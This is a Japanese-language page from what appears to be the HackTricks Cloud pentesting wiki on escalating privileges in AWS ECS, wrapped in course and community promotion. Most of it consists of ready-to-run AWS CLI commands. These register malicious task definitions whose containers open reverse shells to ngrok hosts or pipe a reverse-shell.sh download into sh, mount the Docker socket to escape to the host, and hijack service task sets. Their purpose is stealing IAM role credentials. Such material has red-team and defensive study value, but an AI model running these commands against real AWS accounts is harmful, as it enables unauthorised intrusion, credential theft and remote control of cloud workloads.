AWS - ECS Privesc
Reading time: 12 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
ECS
ECSに関する詳細情報は以下を参照してください:
iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:RunTask
iam:PassRole
、ecs:RegisterTaskDefinition
、およびecs:RunTask
の権限を悪用する攻撃者は、メタデータ認証情報を盗む 悪意のあるコンテナを持つ新しいタスク定義を生成し、実行することができます。
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
潜在的な影響: 別のECSロールへの直接的な権限昇格。
iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:StartTask
前の例と同様に、ECSで**iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:StartTask
の権限を悪用する攻撃者は、悪意のあるコンテナを持つ新しいタスク定義を生成し、それを実行**することができます。
ただし、この場合、悪意のあるタスク定義を実行するためのコンテナインスタンスが必要です。
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
潜在的な影響: すべてのECSロールへの直接的な権限昇格。
iam:PassRole
, ecs:RegisterTaskDefinition
, (ecs:UpdateService|ecs:CreateService)
前の例と同様に、攻撃者がECSの**iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:UpdateService
またはecs:CreateService
の権限を悪用することで、メタデータの認証情報を盗む悪意のあるコンテナを持つ新しいタスク定義を生成**し、少なくとも1つのタスクが実行されている新しいサービスを作成することで実行することができます。
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
潜在的な影響: どのECSロールにも直接的な権限昇格。
iam:PassRole
, (ecs:UpdateService|ecs:CreateService)
実際、これらの権限だけで、オーバーライドを使用して任意のロールでコンテナ内で任意のコマンドを実行することが可能です。
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
潜在的な影響: すべてのECSロールへの直接的な権限昇格。
ecs:RegisterTaskDefinition
, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
このシナリオは前のものと似ていますが、iam:PassRole
権限がない点が異なります。
これは依然として興味深いです。なぜなら、たとえロールなしであっても任意のコンテナを実行できる場合、特権コンテナを実行してノードに逃げ込み、EC2 IAMロールやノードで実行されている他のECSコンテナのロールを盗むことができるからです。
さらに、あなたが侵害したEC2インスタンス内で他のタスクを実行させることもでき、その資格情報を盗むことができます(ノードへの権限昇格セクションで説明されています)。
warning
この攻撃は、ECSクラスターがEC2インスタンスを使用している場合にのみ可能であり、Fargateではありません。
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json
printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json
aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2
# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
ecs:ExecuteCommand
, ecs:DescribeTasks,
(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
ecs:ExecuteCommand
と ecs:DescribeTasks
を持つ攻撃者は、実行中のコンテナ内で コマンドを実行 し、それに付随するIAMロールを抽出することができます(aws ecs execute-command
を実行するためには describe 権限が必要です)。
しかし、そのためには、コンテナインスタンスが ExecuteCommandエージェント を実行している必要があります(デフォルトでは実行されていません)。
したがって、攻撃者は以下を試みることができます:
- すべての実行中のコンテナでコマンドを実行しようとする
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo " Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done
# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
- もし彼が
ecs:RunTask
を持っている場合、aws ecs run-task --enable-execute-command [...]
でタスクを実行します。 - もし彼が
ecs:StartTask
を持っている場合、aws ecs start-task --enable-execute-command [...]
でタスクを実行します。 - もし彼が
ecs:CreateService
を持っている場合、aws ecs create-service --enable-execute-command [...]
でサービスを作成します。 - もし彼が
ecs:UpdateService
を持っている場合、aws ecs update-service --enable-execute-command [...]
でサービスを更新します。
これらのオプションの例は 以前のECSプライベートエスカレーションセクションにあります。
潜在的な影響: コンテナに付随する別のロールへのプライベートエスカレーション。
ssm:StartSession
ssmプライベートエスカレーションページで、この権限をどのように悪用して ECSへのプライベートエスカレーションができるかを確認してください:
iam:PassRole
, ec2:RunInstances
ec2プライベートエスカレーションページで、これらの権限をどのように悪用して ECSへのプライベートエスカレーションができるかを確認してください:
?ecs:RegisterContainerInstance
TODO: 攻撃者が制御するマシンでタスクが実行されるように、別のAWSアカウントからインスタンスを登録することは可能ですか?
ecs:CreateTaskSet
, ecs:UpdateServicePrimaryTaskSet
, ecs:DescribeTaskSets
note
TODO: これをテストする
ecs:CreateTaskSet
、ecs:UpdateServicePrimaryTaskSet
、および ecs:DescribeTaskSets
の権限を持つ攻撃者は、既存のECSサービスのために悪意のあるタスクセットを作成し、プライマリタスクセットを更新することができます。これにより、攻撃者は サービス内で任意のコードを実行することができます。
bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json
aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
潜在的影響: 影響を受けたサービスで任意のコードを実行し、その機能に影響を与えたり、機密データを抽出したりする可能性があります。
参考文献
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。